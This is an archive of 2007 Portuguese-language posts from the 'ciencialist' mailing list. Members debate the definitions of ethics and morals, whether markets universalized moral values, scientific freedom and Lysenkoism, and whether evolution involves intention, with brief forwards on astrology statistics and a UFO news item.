> maior ou menor vigor diante de circunstâncias difíceis;
> espírito de luta
> 5.2 sentimento de confiança; coragem Ex.: homem de grande
> m.
> v substantivo feminino
> 6 conjunto de valores como a honestidade, a bondade, a
> virtude etc.,
> considerados universalmente como norteadores das relações
> sociais e da
> conduta dos homens Ex.: defendia a m. e os bons costumes
> 6.1 conjunto das regras, preceitos etc. característicos
> de determinado
> grupo social que os estabelece e defende Ex.: <m.
> burguesa> <m. cristã>
> 6.2 conjunto dos princípios, ger. virtuosos, adotados por
> um
> indivíduo, e que, em última análise, norteia o seu modo
> de agir e
> pensar Ex.: <é um homem de pouca ou nenhuma m.> <a sua m.
> não é aceitável>
> 7 Rubrica: filosofia.
> cada um dos sistemas variáveis de leis e valores
> estudados pela ética
> (disciplina autônoma da filosofia), caracterizados por
> organizarem a
> vida das múltiplas comunidades humanas, diferenciando e
> definindo
> comportamentos proscritos, desaconselhados, permitidos ou
> ideais
> 8 Rubrica: filosofia.
> parte da filosofia que estuda o comportamento humano à
> luz dos valores
> e prescrições que regulam a vida das sociedades; ética
> 9 Derivação: por metonímia.
> obra ou tratado sobre a moral
> 10 qualquer teoria, doutrina (não necessariamente
> defensora de um
> padrão de comportamento) que se fundamenta em certos
> princípios
> 11 Regionalismo: Brasil. Uso: informal.
> capacidade de se impor, de influenciar ou ter
> ascendência, hegemonia
> sobre outrem Ex.: foi lá e conseguiu a vaga na m.
> --------------
> --------------
> Ética
> n substantivo feminino
> 1 parte da filosofia responsável pela investigação dos
> princípios que
> motivam, distorcem, disciplinam ou orientam o
> comportamento humano,
> refletindo esp. a respeito da essência das normas,
> valores,
> prescrições e exortações presentes em qualquer realidade
> social
> 1.1 Rubrica: filosofia.
> em doutrinas racionalistas e metafísicas, estudo das
> finalidades
> últimas, ideais e, em alguns casos, transcendentes, que
> orientam a
> ação humana para o máximo de harmonia, universalidade,
> excelência ou
> perfectibilidade, o que implica a superação de paixões e
> desejos
> irrefletidos
> 1.2 Rubrica: filosofia.
> no empirismo, materialismo ou positivismo, estudo dos
> fatores
> concretos (afetivos, sociais etc.) que determinam a
> conduta humana em
> geral, estando tal investigação voltada para a consecução
> de objetivos
> pragmáticos e utilitários, no interesse do indivíduo e da
> sociedade
> 2 Derivação: por extensão de sentido.
> conjunto de regras e preceitos de ordem valorativa e
> moral de um
> indivíduo, de um grupo social ou de uma sociedade
> Ex.: <é. profissional> <é. psicanalítica> <há é. na
> universidade>
> --------------
>
> []s,
>
> Roberto Takata
>
>








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SUBJECT: Re: A universalização dos valores morais
FROM: Manuel Bulcão <manuelbulcao@uol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 17/02/2007 11:49

Olá Takata e demais,

Manuel escrevera: Se antes as pessoas eram discriminadas - e até
mesmo desumanizadas - por vários motivos (o sexo, a idade, a etnia, o
credo etc.), com a generalização das relações mercantis só restou um
critério de diferenciação: o poder de compra. Um enorme progresso,não
concorda?

Takata: Restou nao. Acrescentou. Ainda existe preconceito de raca,
sexo, ideologia...

Manuel: Tais preconceitos, entretanto, não são mais chancelados pela
maioria dos Estados; ao contrário, são combatidos em nome do
princípio da igualdade dos homens perante a Lei.

Observe-se que as relações mercantis são contratuais e que o contrato
pressupõe, pelo menos formalmente, a "igualdade" entre os
contratantes. A idéia do Estado contratual (que se opõe ao Estado
étnico e/ou tribal) é reconhecidamente inspirada no contrato
mercantil.

Manuel escrevera: a autonomia individual é prerrequisito do
desenvolvimento da Ciência.

Takata: O pior é q não.

Nenhum cientista tem autonomia individual. Ele precisa obedecer aos
vinculos da instituicao a q se filia...

Com isso, nao se quer dizer q a autonomia individual deve ser
restringida ao maximo. Apenas q o desenvolvimento cientifico nao eh
uma das justificativas para isso.

Dito de um modo solene: a maxima autonomia individual significa a
completa anomia coletiva.

Manuel: Desculpe-me pela minha falta de clareza. Na verdade, não se
trata de "máxima autonomia individual", mas de "autonomia individual
ótima", já que, como você salientou com propriedade, deve-se levar em
conta uma série de restrições jurídicas, morais e econômicas.

Todavia, dentro de um laboratório (da USP, da Roche, da Monsanto, da
IBM...) a pesquisa científica só pode avançar se for assegurado aos
cientistas liberdade de pensamento e de expressão: para duvidar e
consentir, para elaborar hipóteses, para questionar essas mesmas
hipóteses - tentar falseá-las - ou os dados da experiência e até
mesmo o método.

Em regimes em que a liberdade do cientista é tolhida por dogmas
religiosos ou qualquer outra coisa que o valha (os princípios do
materialismo dialético, por exemplo), a pesquisa científica não
avança a contento ou tende a becos sem saída. Pense no Lysenkismo.

Abraços,
Manuel Bulcão



SUBJECT: Re: [ciencialist] Re: A universalização dos valores morais
FROM: Gil <nanolink01@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 17/02/2007 13:08

> Manuel: Tais preconceitos, entretanto, não são mais chancelados pela
> maioria dos Estados; ao contrário, são combatidos em nome do
> princípio da igualdade dos homens perante a Lei.
>

E as mulheres, crianças e gays continuam sendo invisíveis, ou até ignorados
pelo estado. As condições atuais são mantidas ou consideradas como
"naturais".

Sei que vc usou homem no sentido de "ser humano", mas é justamente essa
imagem naturalizante de uma desconsideração (que geralmente pode ser negada,
apoiando-se no senso e tolerância cultural vigente), que torna as relações
de poder invisíveis, e bastante bem-sustentadas.

Nesse caso, os preconceitos não são combatidos, embora também nao sejam
chancelados. Da mesma forma, outros tipos de preconceito são "tolerados" (ou
ignorados), pelos governos, pelas mídias, enfim... de certa forma aceitos em
nossa cultura e entre aqueles que deveriam expo-los.


http://stangoff.com/?p=186
http://stangoff.com/?p=185

É o tipo de coisa que não aparece devidamente em nenhuma publicação.

Gil


[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: A universalização dos valores morais
FROM: Manuel Bulcão <manuelbulcao@uol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 17/02/2007 13:16

Olá Takata e demais,

Manuel escrevera: Tais preconceitos, entretanto, não são mais
chancelados pela maioria dos Estados; ao contrário, são combatidos em
nome do princípio da igualdade dos homens perante a Lei.

Manuel: Se bem que a legislação estadunidense assegura liberdade de
expressão inclusive para organizações racistas e xenófobas, como o
Partido Nazista e a KKK.

Abraços,
Manuel Bulcão
PS: E aí, Takata, neste carnaval vai se fantasiar novamente de "gueixa
segurando a espada do samurai"? Sairei fantasiado de "Luz Del Fuego
estrangulando a jibóia". A gente se encontra amanhã lá no Basfond.
Thauzinho.



SUBJECT: Re: P/ JVictor - Re: [ciencialist] [RN] FALSAS CORRELACOES
FROM: "jvictor" <jvoneto@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 17/02/2007 15:55

Olá, Homero,

Realmente, fui traído pelo "excesso" de preconceito. A frase inicial pegou-me, como se fora uma pegadinha. E era como uma. Não cliquei no link ofertado. Adotei, desde algum tempo, não perder tempo com leituras envolvendo coisas como astrologia, espiritismo, e outras advindas também dos grupos céticos, desses que negam coisas como a viagem lua, holocausto dos judeus, etc., pois acho que sequer servem como figuras de retórica para embasar algum um argumento contrário, ou embicado para outra direção, como foi o caso. O filtro, assim, acabou com uma banda larga demais. E acabamos nos perdendo dentro, por excesso de ojeriza. Ante a desculpa esfarrapada e a necessidade de dizer que você tem razão, vai lá um carnaval bom demais para vocês. Aviso também o seguinte: ainda há vaga no clube das Virgens de Olinda. Quem quiser...
Sds,
Victor.

----- Original Message -----
From: Oraculo
To: ciencialist@yahoogrupos.com.br
Sent: Friday, February 16, 2007 6:15 PM
Subject: P/ JVictor - Re: [ciencialist] [RN] FALSAS CORRELACOES


Olá JVictor

JVictor: "Não dou qualquer valor a qualquer profissional de física ou matemática que pregue essas asneiras, dando-as como verdades e apoadas pela ciência."

Compartilho de sua indignação, mas acho que nesse caso não se aplica. O estudo apresentado não tenta demonstrar que a Astrologia (arghh) é valida cientificamente, mas pelo contrário, que se baseia em falsas relações estatísticas. Que podem ser encontradas em qualquer lugar, a partir de nossa tendencia mental de encontrar padrões.

De uma lida com mais calma no artigo (eu mesmo tive de superar a tendencia a recusar a leitura "a priori" e veja que é bem razoável.

É algo como os que "vêem" relações númericas esotericas nas medidas das piramides. Sem notar que, qualquer edificação, com quaisquer medidas, se procurar bem, acha outras medidas e outras relações numéricas.

Um abraço.

Homero

----- Original Message -----
From: jvictor
To: ciencialist@yahoogrupos.com.br
Sent: Friday, February 16, 2007 5:02 PM
Subject: Re: [ciencialist] [RN] FALSAS CORRELACOES

Faço um esforço tremendo para ser tolerante com coisas desse tipo, mas não consigo. Para mim, quem faz declarações desse tipo pode ser qualquer coisa, menos cientista, menos uma pessoa que entende, minimamente que seja, o que significa ciência.
Está certo que eles estão é se lixando para o que eu penso a respeito ou não. Não dou qualquer valor a qualquer profissional de física ou matemática que pregue essas asneiras, dando-as como verdades e apoadas pela ciência. Como a Bíblia. Pratica-se, assim, mais um deseserviço à humanidade, com tail exploração da credulidade das pessoas, nessas coisas misteriosas.
Nesse mister, sou tão radical, quanto os radicais de outras áreas, que critico tanto e que juro que não sou que nem! Pimenta nos olhos dos outros é uma belezura! Mas julgo que tenho direito à alguma incoerência assumida e acabada, como essa. Que ninguém é de ferro.
Sds,
Victor.

----- Original Message -----
From: rmtakata
To: ciencialist@yahoogrupos.com.br
Sent: Friday, February 16, 2007 3:57 PM
Subject: [ciencialist] [RN] FALSAS CORRELACOES

G1.COM.BR, 16-02-2007

CIENTISTAS RELACIONAM DOENÇAS À ASTROLOGIA

Grupo descobriu que nascidos sob Peixes têm riscos maiores de
problemas cardíacos.
Intenção é provar que é possível estabelecer estatísticas sobre
qualquer coisa.

http://g1.globo.com/Noticias/0,,MUL6195-5603,00.html
-----------------
[]s,

Roberto Takata

[As partes desta mensagem que não continham texto foram removidas]

[As partes desta mensagem que não continham texto foram removidas]





[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: [ciencialist] Re: Tartarugas, mamutes, e o engano de Jose Renato (eraDrauzio Varella - Folha
FROM: José Renato <jrma@terra.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 17/02/2007 23:08

A espécie se adapta através da seleção natural, o espécime se adapta
dispondo dos recursos que já possui. Isso me lembra uma historinha: dois
sapos estão assentados em uma larga folha à beira de um rio, um decidiu
pular para a margem, quantos permanecem na folha? Dois. Um apenas decidiu
pular. Se substituirmos decidir por desejar, pensar, resolver, etc. dá no
mesmo. A ação não foi realizada. Não é preciso que a espécie deseje algo
para então se adaptar. A maioria das funções e ações biológicas independem
do nosso desejo consciente-racional.
[]s
JR
................................................

From: "Jefferson" <jeff@To: <ciencialist@yahoogrupos.com.br>
Sent: Tuesday, February 13, 2007 8:14 AM
Subject: Re: [ciencialist] Re: Tartarugas, mamutes, e o engano de Jose
Renato (eraDrauzio Varella - Folha


>>O que que é isso?
>>Jamais nos adaptamos ao frio? Nenhum animal o fez?
>>
> Ele quis dizer que não se adapta, é selecionado. Dizer que um ser se
> adapta,
> dá a impressão de que ele desejou isso, o que não é verdade.
>
> []',s
> Jeff.



SUBJECT: Re: [ciencialist] Crueldade com animais
FROM: José Renato <jrma@terra.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 17/02/2007 23:24

Olá, Chicão! É por aí que nossa burrice nos leva a uma vida de faz-de-conta.
Achamos que somos mais espertos que os outros. Eles sim devem cumprir as
leis, eu faço o que quero tomando cuidado para que ninguém veja ou registre
meus crimes. Desejo viver em paz mas não me esforço para construir uma
comunidade de paz, nem na minha família. Mas quero que todos ajam comigo com
toda a honestidade, critico e condeno quando alguém quer fazer comigo o
mesmo que eu faço com outros, disfarçadamente. Vc pergunta: isso é ético?
Pergunto eu: isso é racional? isso é inteligente?
Abraços
José Renato
............................................

From: "Chicao Valadares" <chicaovaladares@To:
<ciencialist@yahoogrupos.com.br>
Sent: Tuesday, February 13, 2007 1:01 PM
Subject: Re: [ciencialist] Crueldade com animais


JR - Mas se não é divulgado, tudo bem! O que os olhos dos outros não vêem o
que cometi, os
corações piedosos nada sentem... E assim caminha a humanidade, nos enganando
de que essa cultura da crueldade, mantida em segredo nas nossas atitudes
pessoais e decisões particulares, só existe vez por outra, quando aparece em
fotos chocantes nas manchetes dos jornais e nas imagens da TV.

Chicão: Jose Renato, começou a aparecer alguma coisa interessante nos seus
comentários embora Homero o critique. Não devo agir mal porque não sou burro
já que agindo mal de alguma forma serei punido por isso. Se é esse o
príncipio que norteia o comportamento da nossa sociedade então se eu
conseguir evitar essa punição, tudo me é permitido. Maridos e esposas desta
lista, traiam a vontade!!!Desde que façam de uma forma que não sejam pegos.
Filhos que lêem essa mensagem podem roubar dinheiro da carteira de seus
pais desde que eles não percebam!!!
Isso é ético???


> "O Binômio de Newton é tão belo como a Vênus de Milo.
> O que há é pouca gente para dar por isso... "
> Fernando Pessoa - Poesias de Alvaro Campos



SUBJECT: Re: [ciencialist] Re: Drauzio Varella - Folha de São Paulo - 03/02/2007
FROM: José Renato <jrma@terra.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 17/02/2007 23:53

Faço comentários após JR -, OK?

From: "rmtakata" <roberto.takata@To: <ciencialist@yahoogrupos.com.br>
Sent: Tuesday, February 13, 2007 11:16 PM
Subject: [ciencialist] Re: Drauzio Varella - Folha de São Paulo - 03/02/2007


--- Em ciencialist@yahoogrupos.com.br, José Renato <jrma@...> escreveu
> As mutações seriam direcionadas para quê ou para onde?

Se houvesse intenção, as mutações seriam direcionadas de modo q a
maioria das variantes surgidas - ou a totalidade - seriam adaptativas.
JR - Não é o mais "econômico". Manter sistemas operacionais em plenas
condições de uso a qualquer momento é gasto desnecessário quando faz tempo
que não se utiliza. Se não há uso perde a aptidão.

> A "intenção" surge da interação com o meio ambiente, é uma contínua
> adaptação necessária do ser em manter as condições de vida,
> reduzindo, acelerando ou adequando algumas das suas atividades
> biológicas.

O melhor é manter "intenção" entre aspas.
JR - Mantenho para não se imaginar que essa intenção é fruto de uma
consciência semelhante à nossa.

[]s,
Roberto Takata

[]s
José Renato
.................................



SUBJECT: Re: [ciencialist] Re: Drauzio Varella - Folha de São Paulo - 03/02/2007
FROM: José Renato <jrma@terra.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 18/02/2007 00:10

Comento após JR1 - ...

From: "rmtakata" <roberto.takata@To: <ciencialist@yahoogrupos.com.br>
Sent: Tuesday, February 13, 2007 11:14 PM
Subject: [ciencialist] Re: Drauzio Varella - Folha de São Paulo - 03/02/2007


--- Em ciencialist@yahoogrupos.com.br, José Renato <jrma@...> escreveu
> From: "rmtakata" <roberto.takata@To:
> Essa não é uma evidência, posto q a outra hipótese tb explica isso.

> Que outra hipótese? A evidência é que o ser sobreviveu até hoje e
> sobreviverá se não houver uma mudança brusca no meio ambiente.

A hipótese de q a sobrevivência não depende de intenção.
JR1 - Não é uma intenção racional e consciente como a nossa, gerada no
cortex e demais suportes, mas é todo um processo ou disposição do ser em se
manter vivo.

> JR - Não creio que haja planejamento ou intenção mas sim adaptação
> por questão, digamos, de economia energética visando manter o ser
> vivo.

Elimine a expressão "visando a" - isso é planejamento. A economia
energética é conseqüência.
JR1 - Essa intenção própria de seres não humanos é chamada de instinto para
animais maiores. Para o micro essa intenção de sobreviver existe e é
perceptível, só falta um vocábulo mais adequado para identificá-la. Se é que
ainda não existe...

> JR - Mas é exatamente isso que é ocorre na prática em um período de tempo
> maior.

Estamos falando para o projeto para o qual o engenheiro foi contratado.
JR1 - Nessa linha, o engenheiro é o próprio ser vivo, não foi contratado,
está interagindo e se virando como pode com os recursos disponíveis.

[]s,
Roberto Takata

[]s
José Renato
..................................................



SUBJECT: Re: [ciencialist] Re: P/Homero, um conselho:aprenda ética primeiro...
FROM: José Renato <jrma@terra.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 18/02/2007 00:18

Grato pela explanação, Takata, valeu!
[]s
José Renato
.............................

From: "rmtakata" <roberto.takata@To: <ciencialist@yahoogrupos.com.br>
Sent: Wednesday, February 14, 2007 12:18 AM
Subject: [ciencialist] Re: P/Homero, um conselho:aprenda ética primeiro...


--- Em ciencialist@yahoogrupos.com.br, José Renato <jrma@...> escreveu
> Há controvérsias se Talião foi um legislador ou não.

Talião não é nome de pessoa. Talião tem a mm base de retaliar. Vem do
latim 'talio, onis', q por sua vez deriva de 'talis, e', q significa
'tal, igual'. É o nome q se dá ao sistema de justiça em que a pena por
uma infração é a aplicação da mm ação sobre o infrator: se um sujeito
fere alguém, ele deve ser ferido como punição. Foi a base do primeiro
código escrito de leis conhecido - o de Hamurábi - e deve ter sido
aplicado muito antes do desenvolvimento da escrita. Na verdade deve
ter até mm precedido o surgimento da humanidade (ações similares são
tomadas por chimpanzés e até mm por outros mamíferos sociais - como as
hienas).

Assim, lei de talião não é uma lei desenvolvida por um sujeito chamado
Talião, do mm modo como lei da boa razão não é uma lei desenvolvida
por alguém chamado Boa Razão.

Muita gente boa ainda se engana qto a isso.

[]s,

Roberto Takata



SUBJECT: Re: Drauzio Varella - Folha de São Paulo - 03/02/2007
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 18/02/2007 00:45

--- Em ciencialist@yahoogrupos.com.br, José Renato <jrma@...> escreveu
> Se houvesse intenção, as mutações seriam direcionadas de modo q a
> maioria das variantes surgidas - ou a totalidade - seriam
> adaptativas.
> JR - Não é o mais "econômico". Manter sistemas operacionais em
> plenas condições de uso a qualquer momento é gasto desnecessário
> quando faz tempo que não se utiliza. Se não há uso perde a aptidão.

Vc está falando de coisa diferente. Estou falando de mutações
adaptativas e não de capacidade de adaptação fisiológica de um
indivíduo. Digamos q um alelo A promove a adaptação de um organismo X
a um ambiente Z - é um alelo q promove proteção contra uma doença,
digamos. Enqto o alelo B não é capaz disso. Se houvesse
direcionamento, mais alelos A seriam gerados por mutações do q alelos
B. Mas na verdade, muito mais alelos do tipo B são gerados do q A com
as mutações.

> O melhor é manter "intenção" entre aspas.
> JR - Mantenho para não se imaginar que essa intenção é fruto de uma
> consciência semelhante à nossa.

Não é preciso cogitar consciência de tipo algum.

[]s,

Roberto Takata



SUBJECT: Re: A universalização dos valores morais
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 18/02/2007 01:03

--- Em ciencialist@yahoogrupos.com.br, Manuel Bulcão
> Manuel: Tais preconceitos, entretanto, não são mais chancelados pela
> maioria dos Estados; ao contrário, são combatidos em nome do
> princípio da igualdade dos homens perante a Lei.

Mas em nenhum caso o princípio utilizado é o mercantil. E a maioria
dos Estados são do tipo democrático por conta da derrocada do Eixo na
SGG. Qdo havia interesse mercadológico, estados autoritários foram e
são financiados (por exemplo, no Oriente Médio e na Ásia Central).

> Observe-se que as relações mercantis são contratuais e que o
> contrato pressupõe, pelo menos formalmente, a "igualdade" entre os
> contratantes. A idéia do Estado contratual (que se opõe ao Estado
> étnico e/ou tribal) é reconhecidamente inspirada no contrato
> mercantil.

A influência parece ser mais particularmente do liberalismo do q
propriamente do mercantilismo.

> Manuel: Desculpe-me pela minha falta de clareza. Na verdade, não se
> trata de "máxima autonomia individual", mas de "autonomia individual
> ótima", já que, como você salientou com propriedade, deve-se levar
> em conta uma série de restrições jurídicas, morais e econômicas.

E a autonomia individual ótima - considerando-se apenas no q se refere
à produção científica - não necessariamente se restringe a um único
ótimo. Dependendo das circunstâncias, esse ótimo poderá estar mais
para a maior autonomia ou mais para a menor autonomia individual.

> Em regimes em que a liberdade do cientista é tolhida por dogmas
> religiosos ou qualquer outra coisa que o valha (os princípios do
> materialismo dialético, por exemplo), a pesquisa científica não
> avança a contento ou tende a becos sem saída. Pense no Lysenkismo.

O lysenkoísmo é um exemplo em q a pré-orientação para um sentido
errado levou a um fracasso. Mas na mm ex-URSS encontramos o sucesso do
desenvolvimento espacial.

[]s,

Roberto Takata



SUBJECT: ética e moral são sinônimos?
FROM: LECarvalho <lecarvalho@infolink.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 18/02/2007 02:48

At 10:18 17/2/2007, you wrote:

>ola takata
>
>pgando o item 10 da morl e o 2 da etic ve-se bem q etica e
>moal se entrecruzam
>
>um fala de principioos e outyro fala de regras
>
>não da pra fazer uma separa~ção, ou diferenciação objetiva
>das duas esferas
>
>são a mesma coisa




Faz mil anos, e eu cursava Filosofia no Instituto
Canadá, em Santos e, para a prova, eu decorei,
sem entender nada, decorei que...

"Ética é o estudo da moral enquanto ciencia"

L.E.

[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: [ciencialist] ética e moral são sinônimos?
FROM: Sérgio <anaximao@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 18/02/2007 04:50

olá LEC

"decorei que... "Ética é o estudo da moral enquanto
ciencia" L.E. "

eu não vejo melhor exemplo do que este que vc deu
se vc pega as definiçoes do Houaiss vc pode ver q aquilo
nao passa de uma definicao arbitraria para ser decorada

vc pode encontrar mil definições que no fim das contas são
as mesmas, ou melhor uma só

etica e moral é o estudo das ações, da praxis
enqto que epistemologia é o estudo, da teoria, do
conhecimento, da ciencia e por ai vai

vc tenta jogar epistemologia de um lado, gnoseologia de
outro, teoria do conhecimento de outro, filosofia da
ciencia de outro

mas no final das contas elas dependem mais do autor e menos
do assunto

Sérgio









"Aquele que insiste em jamais dizer algo errado deve permanecer em silêncio" Werner Heisenberg

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SUBJECT: Re: [ciencialist] Re: Tartarugas, mamutes, e o engano de Jose Renato (eraDrauzio Varella - Folha
FROM: "Jefferson" <jeff@jeff.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 18/02/2007 10:01

Olá,

>
>A espécie se adapta através da seleção natural, o espécime se adapta
>dispondo dos recursos que já possui.
>

Acho que o que você não entendeu, é que a seleção natural ocorre depois da
mutação. As mutações não ocorrem *para* o ser vivo se adaptar, elas
simplemente ocorrem "ao acaso" e o ambiente as seleciona depois.

[]´,s
Jeff.




SUBJECT: Re: A universalização dos valores morais
FROM: Manuel Bulcão <manuelbulcao@uol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 18/02/2007 11:51

Oi Takata e demais,

Manuel escrevera: Tais preconceitos, entretanto, não são mais
chancelados pela maioria dos Estados; ao contrário, são combatidos em
nome do princípio da igualdade dos homens perante a Lei.

Takata: Mas em nenhum caso o princípio utilizado é o mercantil. E a
maioria dos Estados são do tipo democrático por conta da derrocada do
Eixo na SGG. Qdo havia interesse mercadológico, estados autoritários
foram e são financiados (por exemplo, no Oriente Médio e na Ásia
Central).

Manuel: As primeiras formas de democracia surgiram entre civilizações
marítimo-mercantis da Idade do Ferro (Atenas, por exemplo), e creio
que isso se deu não por acaso.

Claro que não se trata de uma relação de causa e efeito
simples: "comércio -> democracia"; até porque, sob a égide do
totalitarismo romano, o comércio internacional teve um grande surto
de desenvolvimento. Além disso houve e, em alguns grotões da Africa e
do Oriente Médio, ainda há comércio de escravos. No Brasil por muito
tempo funcionou um sistema econômico escravista com produção voltada
para o mercado externo; e, na Idade Moderna (época do Mercantilismo),
uma fração significativa do burguesia comercial - maior na Europa
continental, menor na Inglaterra - mantinha-se atrelada ao Estado
absolutista (na França, os seus mais destacados membros eram mesmo
parte da nobreza: a 'noblesse de robe') sendo, por isso,
profundamente antiliberal, beligerante, racista e contrária ao livre-
cambismo.

Entretanto, o que quero sublinhar é que, com o desenvolvimento do
comércio, as relações de troca "tendem" a se sobrepor às relações de
poder. Sem considerar alguns tipos de mercado (monopolista,
monopsônico...), as relações de troca mercantil são horizontais,
sujeitas a critérios impessoais - a lei da oferta e da procura - e
seus agentes propendem a ter mais consideração pelo Outro, a vê-lo
como como um "igual" no que diz respeito à condição de potencial
produtor e consumidor, relegando assim a um segundo plano os
particularismos étnicos, tribais, religosos etc.

As comunidades humanas, antes autárquicas, abrem-se umas para as
outras através do intercâmbio mercantil. Por esses vasos comunicantes
trafegam, em mão dupla e de forma pacífica, não só mercadorias mas
também idéias, estabelecendo, assim, um ambiente propício à mudança
de mentalidade, à reflexão, à busca de consenso e de características
iguais ou de um denominador comum - provavelmente inspirada na
existência desse "equivalente universal" que é a moeda - entre todas
as culturas.

A substituição das religiões tribais pelas religiões universais (que
estabelecem a igualdade de todos os homens - inclusive os pagãos:
fiéis em potencial - perante Deus) deu-se em larga medida na esteira
do desenvolvimento do comércio internacional na Antigüidade Clássica.
O Cristianismo, por exemplo (religião sincrética derivada do
monoteísmo judaico, do mitraísmo, do culto de Ísis - Ísis, assim como
Maria, era considerada "a mãe de Deus" -, do platonismo e do
estoicismo), institui a crença de que todos os homens são irmãos em
Cristo.

Um outro mérito do Cristianismo está no fato de não ser uma religião
incompatível com o questionamento, inclusive dos desígnios divinos,
como ilustra o brado de revolta do Jesus crucificado: "Pai, por que
me abandonaste, pô!" (Mateus, XXVI, 46). Acresce dizer, ainda, que o
Cristianismo vai de encontro à teocracia, isto é, há elementos em sua
doutrina que irão favorecer mais tarde a laicização do Estado, a
separação entre Estado e Igreja. Com efeito, quando Pilatos perguntou
a Cristo se ele era o rei dos judeus, Jesus respondeu: "O meu Reino
não é deste mundo" (Jo.XVIII, 36).

De resto, na Europa dos séculos XVII e XVIII, grande parte dos
logistas, dos pequenos e médios produtores (que vendiam seus
excedentes no mercado local), dos comerciantes não ligados à Coroa e
da nascente burguesia industrial professavam a religião
puritana/calvinista/huguenote que propugnava, principalmente na
Inglaterra, a liberdade de culto, a separação entre Igreja e Estado e
uma relação direta dos homens com Deus, não intermediada por qualquer
hierarquia, reforçando, assim, o valor da "igualdade".

Ainda no Século XVII, o filósofo racionalista Baruch Spinoza conferiu
à divindade universal do judaísmo-cristianismo uma nova
alcunha: "Natura naturans", que não é senão a Ordem Eterna, a Lei, a
Razão Objetiva.

Manuel escrevera: Observe-se que as relações mercantis são
contratuais e que o contrato pressupõe, pelo menos formalmente,
a "igualdade" entre os contratantes. A idéia do Estado contratual
(que se opõe ao Estado étnico e/ou tribal) é reconhecidamente
inspirada no contrato mercantil.

Takata: A influência parece ser mais particularmente do liberalismo
do q propriamente do mercantilismo.

Manuel: Sim, mas o liberalismo foi, a princípio, uma doutrina
econômica advogada pelos intelectuais orgânicos da burguesia
industrial, cuja principal causa foi a abolição da escravidão e a
defesa da livre "contratação" da força-de-trabalho.

Manuel escrevera: Desculpe-me pela minha falta de clareza. Na
verdade, não se trata de "máxima autonomia individual", mas
de "autonomia individual ótima", já que, como você salientou com
propriedade, deve-se levar em conta uma série de restrições
jurídicas, morais e econômicas.

Takata: E a autonomia individual ótima - considerando-se apenas no q
se refere à produção científica - não necessariamente se restringe a
um único ótimo. Dependendo das circunstâncias, esse ótimo poderá
estar mais para a maior autonomia ou mais para a menor autonomia
individual.

Manuel: Mesmo nas piores das circunstâncias - como a dos físicos
soviéticos incubidos da tarefa de fabricar a bomba atômica comunista,
mantidos por Béria em regime de prisão e sob constantes ameaças - a
pesquisa científica só pode avançar se for assegurado aos cientistas
liberdade de duvidar e de consentir, de elaborar hipóteses, de
questionar essas mesmas hipóteses (tentar falseá-las) e de desconfiar
dos dados da experiência. Isso é "autonomia individual" nos marcos do
Laboratório. A sorte dos físicos soviéticos é que o carrasco Béria
era um oportunista pragmático inescrupuloso que muito pouca
importância dava à ideologia marxista-leninista. Ele só se
interessava pelo poder.

Manuel escrevera: Em regimes em que a liberdade do cientista é
tolhida por dogmas religiosos ou qualquer outra coisa que o valha (os
princípios do materialismo dialético, por exemplo), a pesquisa
científica não avança a contento ou tende a becos sem saída. Pense no
Lysenkismo.

Takata: O lysenkoísmo é um exemplo em q a pré-orientação para um
sentido errado levou a um fracasso. Mas na mm ex-URSS encontramos o
sucesso do desenvolvimento espacial.

Manuel: Em nome dos princípios fundamentais do materialismo
dialético, o establishment científico soviético (um bando de puxa-
sacos) rechaçava todas as ciências "burguesas", como a teoria da
relatividade, a mecânica quântica, a genética mendeliana, a teoria do
Big Bang, a lingüística de Chomsky, a psicanálise, qualquer
psicologia que pretendesse ir além da reflexologia de Pavlov etc.

A tecnologia que permite a fabricação de fuzis Kalashnikov, tanques e
foguetes baseia-se quase que exclusivamente na velha e boa Física
Clássica de Newton a Maxwell. Ademais, muitos dos avanços
tecnológicos ocorridos da antiga URSS devem-se menos a inventividade
dos seus cientistas (os melhores viviam confinados e incomunicáveis)
e mais ao trabalho dos espiões. - A burocracia não cria, apenas imita.

Abraços,
Manuel Bulcão



SUBJECT: En China. Varios ufólogos son miembros del gobierno
FROM: "Kentaro Mori" <kentaro.mori@gmail.com>
TO: ciencialist@yahoogrupos.com.br, enigmasonline@yahoogrupos.com.br, exobiologia_e_cia@yahoogrupos.com.br, painelovni@yahoogrupos.com.br, ufoburn@yahoogrupos.com.br, Ufolista@yahoogrupos.com.br, "lista CA" <ceticismoaberto@yahoogrupos.com.br>
DATE: 18/02/2007 12:23

En China. Varios ufólogos son miembros del
gobierno<http://marcianitosverdes.haaan.com/2007/02/en-china-varios-uflogos-son-miembros-del-gobierno/>
Ex
funcionario del ministerio del exterior de China dice que los
extraterrestres viven entre nosotros

Por *Paul Chen*

<http://marcianitosverdes.haaan.com/wp-content/uploads/2007/02/windowslivewriterench.variosuflogossonmiembrosdelgobierno-1488asunshili4.jpg>Izvestia
informa que China tiene un número record de organizaciones
científicas y clubes de ovnis. Hay muchos que incluso tratan de establecer
una cierta clase de contacto con extraterrestres. Sus acciones están
protegidas por la Sociedad Nacional de Estudios Extraterrestres, que fue
fundada hace 25 años. El gobierno financia esta sociedad nacional.

*
http://marcianitosverdes.haaan.com/2007/02/en-china-varios-uflogos-son-miembros-del-gobierno/
*


[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Nieve rosa de las montañas
FROM: "Kentaro Mori" <kentaro.mori@gmail.com>
